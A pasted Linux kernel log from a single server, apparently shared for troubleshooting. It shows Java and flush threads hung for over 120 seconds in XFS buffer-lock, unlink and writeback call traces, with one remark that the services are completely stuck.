Mar 21 06:36:20 ealxs00169 kernel: [1412520.862118]  ffff88001bb41fd8 ffff88001bb41fd8 ffff88001bb41fd8 00000000000137c0
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862121]  ffff88001bad8000 ffff88000602dc00 ffff88001bb41798 7fffffffffffffff
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862123] Call Trace:
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862126]  [<ffffffff8142bff0>] ? scsi_mode_select+0x200/0x200
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862133]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862135]  [<ffffffff8165b995>] schedule_timeout+0x2a5/0x320
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862138]  [<ffffffff8165c5f0>] __down_common+0xa5/0xf5
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862149]  [<ffffffffa007c295>] ? _xfs_buf_find+0xd5/0x240 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862151]  [<ffffffff8165c6b3>] __down+0x1d/0x1f
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862154]  [<ffffffff810912e1>] down+0x41/0x50
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862164]  [<ffffffffa007c0f4>] xfs_buf_lock+0x44/0x110 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862173]  [<ffffffffa007c295>] _xfs_buf_find+0xd5/0x240 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862183]  [<ffffffffa007c684>] xfs_buf_get+0x34/0x1c0 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862193]  [<ffffffffa007cf2d>] xfs_buf_read+0x2d/0x120 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862210]  [<ffffffffa00d89ff>] xfs_trans_read_buf+0x2bf/0x470 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862223]  [<ffffffffa0094775>] xfs_read_agf+0x65/0x1a0 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862236]  [<ffffffffa00948e2>] xfs_alloc_read_agf+0x32/0x60 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862250]  [<ffffffffa00966ff>] xfs_alloc_fix_freelist+0x42f/0x490 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862255]  [<ffffffff8116371b>] ? kfree+0x3b/0x140
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862258]  [<ffffffff8116355f>] ? kmem_cache_free+0x2f/0x110
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862260]  [<ffffffff8131214b>] ? radix_tree_lookup+0xb/0x10
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862277]  [<ffffffffa00cb2f8>] ? xfs_perag_get+0x38/0xd0 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862290]  [<ffffffffa00967f1>] ? xfs_free_extent+0x91/0x120 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862303]  [<ffffffffa0096802>] xfs_free_extent+0xa2/0x120 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862317]  [<ffffffffa00a6e14>] xfs_bmap_finish+0x164/0x1b0 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862333]  [<ffffffffa00c143b>] xfs_itruncate_extents+0xdb/0x1e0 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862349]  [<ffffffffa00c15a6>] xfs_itruncate_data+0x66/0x150 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862365]  [<ffffffffa009056e>] xfs_inactive+0x2fe/0x460 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862368]  [<ffffffff8165d545>] ? _raw_spin_lock_irq+0x15/0x20
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862380]  [<ffffffffa008afad>] xfs_fs_evict_inode+0xad/0x110 [xfs]
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862385]  [<ffffffff81193e98>] evict+0xb8/0x1c0
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862387]  [<ffffffff81194088>] iput_final+0xe8/0x210
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862389]  [<ffffffff811941ee>] iput+0x3e/0x50
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862392]  [<ffffffff81188be3>] do_unlinkat+0x153/0x1d0
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862396]  [<ffffffff8117974d>] ? vfs_read+0x10d/0x180
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862399]  [<ffffffff811897b6>] sys_unlink+0x16/0x20
Mar 21 06:36:20 ealxs00169 kernel: [1412520.862401]  [<ffffffff81665842>] system_call_fastpath+0x16/0x1b
Mar 21 06:38:20 ealxs00169 kernel: [1412640.820901] INFO: task java:1804 blocked for more than 120 seconds.
Mar 21 06:38:20 ealxs00169 kernel: [1412640.820972] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821037] java            D 0000000000000000     0  1804   1788 0x00000000
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821042]  ffff88001b4b3de8 0000000000000086 ffff88001b4b3da8 ffffffffa008d944
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821045]  ffff88001b4b3fd8 ffff88001b4b3fd8 ffff88001b4b3fd8 00000000000137c0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821048]  ffff88001a749700 ffff88001c61ae00 0000000000000000 ffff8800002f38a0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821051] Call Trace:
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821116]  [<ffffffffa008d944>] ? xfs_inode_set_reclaim_tag+0x84/0xa0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821122]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821126]  [<ffffffff8165c157>] __mutex_lock_slowpath+0xd7/0x150
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821131]  [<ffffffff81188731>] ? do_path_lookup+0x31/0xc0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821134]  [<ffffffff8165bd6a>] mutex_lock+0x2a/0x50
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821136]  [<ffffffff81188b1e>] do_unlinkat+0x8e/0x1d0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821140]  [<ffffffff8118c985>] ? poll_select_set_timeout+0x85/0xa0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821145]  [<ffffffff81015721>] ? math_state_restore+0x51/0x80
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821148]  [<ffffffff811897b6>] sys_unlink+0x16/0x20
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821152]  [<ffffffff81665842>] system_call_fastpath+0x16/0x1b
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821154] INFO: task java:1805 blocked for more than 120 seconds.
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821207] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821301] java            D 0000000000000000     0  1805   1788 0x00000000
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821309]  ffff88001f4a17e8 0000000000000086 0000000000000000 ffff88001f5f1410
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821312]  ffff88001f4a1fd8 ffff88001f4a1fd8 ffff88001f4a1fd8 00000000000137c0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821314]  ffff88001bad8000 ffff88001c61dc00 000000000000003a 7fffffffffffffff
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821317] Call Trace:
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821320]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821322]  [<ffffffff8165b995>] schedule_timeout+0x2a5/0x320
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821327]  [<ffffffff81165a1d>] ? kmem_cache_alloc+0x11d/0x140
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821342]  [<ffffffffa00927b7>] ? kmem_zone_alloc+0x67/0xe0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821345]  [<ffffffff8165c5f0>] __down_common+0xa5/0xf5
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821355]  [<ffffffffa007c295>] ? _xfs_buf_find+0xd5/0x240 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821358]  [<ffffffff8165c6b3>] __down+0x1d/0x1f
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821362]  [<ffffffff810912e1>] down+0x41/0x50
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821372]  [<ffffffffa007c0f4>] xfs_buf_lock+0x44/0x110 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821382]  [<ffffffffa007c295>] _xfs_buf_find+0xd5/0x240 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821392]  [<ffffffffa007c684>] xfs_buf_get+0x34/0x1c0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821402]  [<ffffffffa007cf2d>] xfs_buf_read+0x2d/0x120 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821420]  [<ffffffffa00d89ff>] xfs_trans_read_buf+0x2bf/0x470 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821434]  [<ffffffffa0094775>] xfs_read_agf+0x65/0x1a0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821446]  [<ffffffffa00925e7>] ? kmem_alloc+0x67/0xe0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821459]  [<ffffffffa00948e2>] xfs_alloc_read_agf+0x32/0x60 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821473]  [<ffffffffa00966ff>] xfs_alloc_fix_freelist+0x42f/0x490 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821483]  [<ffffffffa007c42d>] ? xfs_buf_unlock+0x2d/0xa0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821487]  [<ffffffff8116355f>] ? kmem_cache_free+0x2f/0x110
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821491]  [<ffffffff8131214b>] ? radix_tree_lookup+0xb/0x10
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821508]  [<ffffffffa00cb2f8>] ? xfs_perag_get+0x38/0xd0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821521]  [<ffffffffa00967f1>] ? xfs_free_extent+0x91/0x120 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821539]  [<ffffffffa0096802>] xfs_free_extent+0xa2/0x120 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821553]  [<ffffffffa00a6e14>] xfs_bmap_finish+0x164/0x1b0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821566]  [<ffffffffa00914c1>] xfs_remove+0x351/0x400 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821569]  [<ffffffff8165d25e>] ? _raw_spin_lock+0xe/0x20
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821580]  [<ffffffffa0087378>] xfs_vn_unlink+0x48/0x90 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821583]  [<ffffffff81186520>] vfs_unlink.part.26+0x80/0xf0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821585]  [<ffffffff811865cc>] vfs_unlink+0x3c/0x60
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821587]  [<ffffffff81188c3a>] do_unlinkat+0x1aa/0x1d0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821590]  [<ffffffff8118c985>] ? poll_select_set_timeout+0x85/0xa0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821593]  [<ffffffff81015721>] ? math_state_restore+0x51/0x80
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821595]  [<ffffffff811897b6>] sys_unlink+0x16/0x20
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821598]  [<ffffffff81665842>] system_call_fastpath+0x16/0x1b
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821600] INFO: task java:1806 blocked for more than 120 seconds.
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821668] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821760] java            D 0000000000000000     0  1806   1788 0x00000000
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821767]  ffff88001f741de8 0000000000000086 ffff88001f741da8 ffffffffa008d944
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821770]  ffff88001f741fd8 ffff88001f741fd8 ffff88001f741fd8 00000000000137c0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821772]  ffff88001c61ae00 ffff88001b9adc00 0000000000000000 ffff8800002f38a0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821775] Call Trace:
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821788]  [<ffffffffa008d944>] ? xfs_inode_set_reclaim_tag+0x84/0xa0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821790]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821793]  [<ffffffff8165c157>] __mutex_lock_slowpath+0xd7/0x150
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821795]  [<ffffffff81188731>] ? do_path_lookup+0x31/0xc0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821797]  [<ffffffff8165bd6a>] mutex_lock+0x2a/0x50
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821799]  [<ffffffff81188b1e>] do_unlinkat+0x8e/0x1d0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821802]  [<ffffffff8118c985>] ? poll_select_set_timeout+0x85/0xa0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821805]  [<ffffffff81015721>] ? math_state_restore+0x51/0x80
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821807]  [<ffffffff811897b6>] sys_unlink+0x16/0x20
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821809]  [<ffffffff81665842>] system_call_fastpath+0x16/0x1b
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821812] INFO: task java:1807 blocked for more than 120 seconds.
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821878] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821971] java            D 0000000000000000     0  1807   1788 0x00000000
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821977]  ffff88001f7fdde8 0000000000000086 ffff88001f7fdda8 ffffffffa008d944
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821980]  ffff88001f7fdfd8 ffff88001f7fdfd8 ffff88001f7fdfd8 00000000000137c0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821983]  ffff88001b9adc00 ffff88001b9a8000 0000000000000000 ffff8800002f38a0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821985] Call Trace:
Mar 21 06:38:20 ealxs00169 kernel: [1412640.821998]  [<ffffffffa008d944>] ? xfs_inode_set_reclaim_tag+0x84/0xa0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822001]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822003]  [<ffffffff8165c157>] __mutex_lock_slowpath+0xd7/0x150
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822005]  [<ffffffff81188731>] ? do_path_lookup+0x31/0xc0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822007]  [<ffffffff8165bd6a>] mutex_lock+0x2a/0x50
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822010]  [<ffffffff81188b1e>] do_unlinkat+0x8e/0x1d0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822012]  [<ffffffff8118c985>] ? poll_select_set_timeout+0x85/0xa0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822015]  [<ffffffff81015721>] ? math_state_restore+0x51/0x80
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822017]  [<ffffffff811897b6>] sys_unlink+0x16/0x20
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822020]  [<ffffffff81665842>] system_call_fastpath+0x16/0x1b
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822022] INFO: task java:14629 blocked for more than 120 seconds.
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822090] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822183] java            D 0000000000000000     0 14629   1788 0x00000000
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822186]  ffff8800028e9328 0000000000000086 0000000000000100 0000000000000100
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822189]  ffff8800028e9fd8 ffff8800028e9fd8 ffff8800028e9fd8 00000000000137c0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822191]  ffff88001a9a4500 ffff88001b5e8000 ffff8800028e9308 7fffffffffffffff
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822194] Call Trace:
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822196]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822199]  [<ffffffff8165b995>] schedule_timeout+0x2a5/0x320
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822203]  [<ffffffff8101aef2>] ? nommu_map_sg+0x72/0xe0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822216]  [<ffffffff8142bff0>] ? scsi_mode_select+0x200/0x200
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822220]  [<ffffffff8165c5f0>] __down_common+0xa5/0xf5
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822234]  [<ffffffffa007c295>] ? _xfs_buf_find+0xd5/0x240 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822237]  [<ffffffff8165c6b3>] __down+0x1d/0x1f
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822241]  [<ffffffff810912e1>] down+0x41/0x50
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822252]  [<ffffffffa007c0f4>] xfs_buf_lock+0x44/0x110 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822262]  [<ffffffffa007c295>] _xfs_buf_find+0xd5/0x240 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822272]  [<ffffffffa007c684>] xfs_buf_get+0x34/0x1c0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822276]  [<ffffffff8105702d>] ? set_next_entity+0xad/0xd0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822285]  [<ffffffffa007cf2d>] xfs_buf_read+0x2d/0x120 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822302]  [<ffffffffa00d89ff>] xfs_trans_read_buf+0x2bf/0x470 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822315]  [<ffffffffa0094775>] xfs_read_agf+0x65/0x1a0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822329]  [<ffffffffa00a0c93>] ? xfs_bmap_add_extent_hole_delay+0xd3/0x6b0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822342]  [<ffffffffa00948e2>] xfs_alloc_read_agf+0x32/0x60 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822355]  [<ffffffffa00966ff>] xfs_alloc_fix_freelist+0x42f/0x490 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822369]  [<ffffffffa00aa368>] ? xfs_bmbt_get_all+0x18/0x20 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822372]  [<ffffffff8131214b>] ? radix_tree_lookup+0xb/0x10
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822374]  [<ffffffff8131214b>] ? radix_tree_lookup+0xb/0x10
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822390]  [<ffffffffa00cb2f8>] ? xfs_perag_get+0x38/0xd0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822403]  [<ffffffffa009fe23>] ? xfs_bmap_btalloc_nullfb+0x193/0x380 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822417]  [<ffffffffa0096b6c>] ? xfs_alloc_vextent+0x2ec/0x690 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822430]  [<ffffffffa0096a4b>] xfs_alloc_vextent+0x1cb/0x690 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822443]  [<ffffffffa00a02c1>] xfs_bmap_btalloc+0x2b1/0x770 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822459]  [<ffffffffa00c21dc>] ? xfs_iext_bno_to_ext+0x8c/0x160 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822473]  [<ffffffffa00a07a4>] xfs_bmap_alloc+0x24/0x40 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822486]  [<ffffffffa00a594e>] xfs_bmapi_allocate+0xce/0x2d0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822500]  [<ffffffffa00a85c3>] xfs_bmapi_write+0x4c3/0x720 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822512]  [<ffffffffa0086988>] xfs_iomap_write_allocate+0x178/0x330 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822522]  [<ffffffffa00799c3>] xfs_map_blocks+0x183/0x250 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822531]  [<ffffffffa007aa56>] xfs_vm_writepage+0x196/0x510 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822536]  [<ffffffff81122217>] __writepage+0x17/0x40
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822538]  [<ffffffff81122a0d>] write_cache_pages+0x20d/0x460
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822542]  [<ffffffff8152ba7d>] ? sock_recvmsg+0x11d/0x140
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822544]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822554]  [<ffffffffa00804bc>] ? xfs_file_aio_write+0x25c/0x2a0 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822557]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822566]  [<ffffffffa007980d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822569]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822573]  [<ffffffff81119f2b>] __filemap_fdatawrite_range+0x5b/0x60
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822575]  [<ffffffff81119f82>] filemap_write_and_wait_range+0x52/0x80
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822585]  [<ffffffffa007f05d>] xfs_file_fsync+0x5d/0x300 [xfs]
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822588]  [<ffffffff8118c985>] ? poll_select_set_timeout+0x85/0xa0
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822593]  [<ffffffff811a7eb6>] do_fsync+0x56/0x80
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822595]  [<ffffffff811a81e0>] sys_fsync+0x10/0x20
Mar 21 06:38:20 ealxs00169 kernel: [1412640.822597]  [<ffffffff81665842>] system_call_fastpath+0x16/0x1b

From this moment on the services are not working anymore. Complete stuck.

Mar  4 19:39:25 ealxs00169 kernel: [34229278.392177] INFO: task flush-8:16:20760 blocked for more than 120 seconds.
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392400] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392474] flush-8:16      D 0000000000000000     0 20760      2 0x00000000
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392478]  ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392487]  ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392489]  ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392492] Call Trace:
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392510]  [<ffffffff81118360>] ? __lock_page+0x70/0x70
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392523]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392526]  [<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392528]  [<ffffffff8111836e>] sleep_on_page+0xe/0x20
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392536]  [<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392539]  [<ffffffff81118357>] __lock_page+0x67/0x70
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392544]  [<ffffffff8108bd60>] ? autoremove_wake_function+0x40/0x40
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392551]  [<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392554]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392556]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392559]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392621]  [<ffffffffa008d80d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392627]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392636]  [<ffffffff811a2990>] writeback_single_inode+0x180/0x430
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392639]  [<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392641]  [<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392644]  [<ffffffff811a345b>] wb_writeback+0x27b/0x330
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392654]  [<ffffffff810136e5>] ? __switch_to+0xf5/0x360
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392658]  [<ffffffff81194ad2>] ? get_nr_dirty_inodes+0x52/0x80
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392661]  [<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392664]  [<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392669]  [<ffffffff810778b0>] ? usleep_range+0x50/0x50
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392671]  [<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392674]  [<ffffffff811a4500>] ? wb_do_writeback+0x1d0/0x1d0
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392676]  [<ffffffff8108b27c>] kthread+0x8c/0xa0
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392682]  [<ffffffff816679b4>] kernel_thread_helper+0x4/0x10
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392685]  [<ffffffff8108b1f0>] ? flush_kthread_worker+0xa0/0xa0
Mar  4 19:39:25 ealxs00169 kernel: [34229278.392687]  [<ffffffff816679b0>] ? gs_change+0x13/0x13
Mar  4 19:41:25 ealxs00169 kernel: [34229398.350796] INFO: task flush-8:16:20760 blocked for more than 120 seconds.
Mar  4 19:41:25 ealxs00169 kernel: [34229398.350923] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar  4 19:41:25 ealxs00169 kernel: [34229398.350987] flush-8:16      D 0000000000000000     0 20760      2 0x00000000
Mar  4 19:41:25 ealxs00169 kernel: [34229398.350991]  ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000
Mar  4 19:41:25 ealxs00169 kernel: [34229398.350995]  ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0
Mar  4 19:41:25 ealxs00169 kernel: [34229398.350998]  ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351001] Call Trace:
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351017]  [<ffffffff81118360>] ? __lock_page+0x70/0x70
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351022]  [<ffffffff8165b34f>] schedule+0x3f/0x60
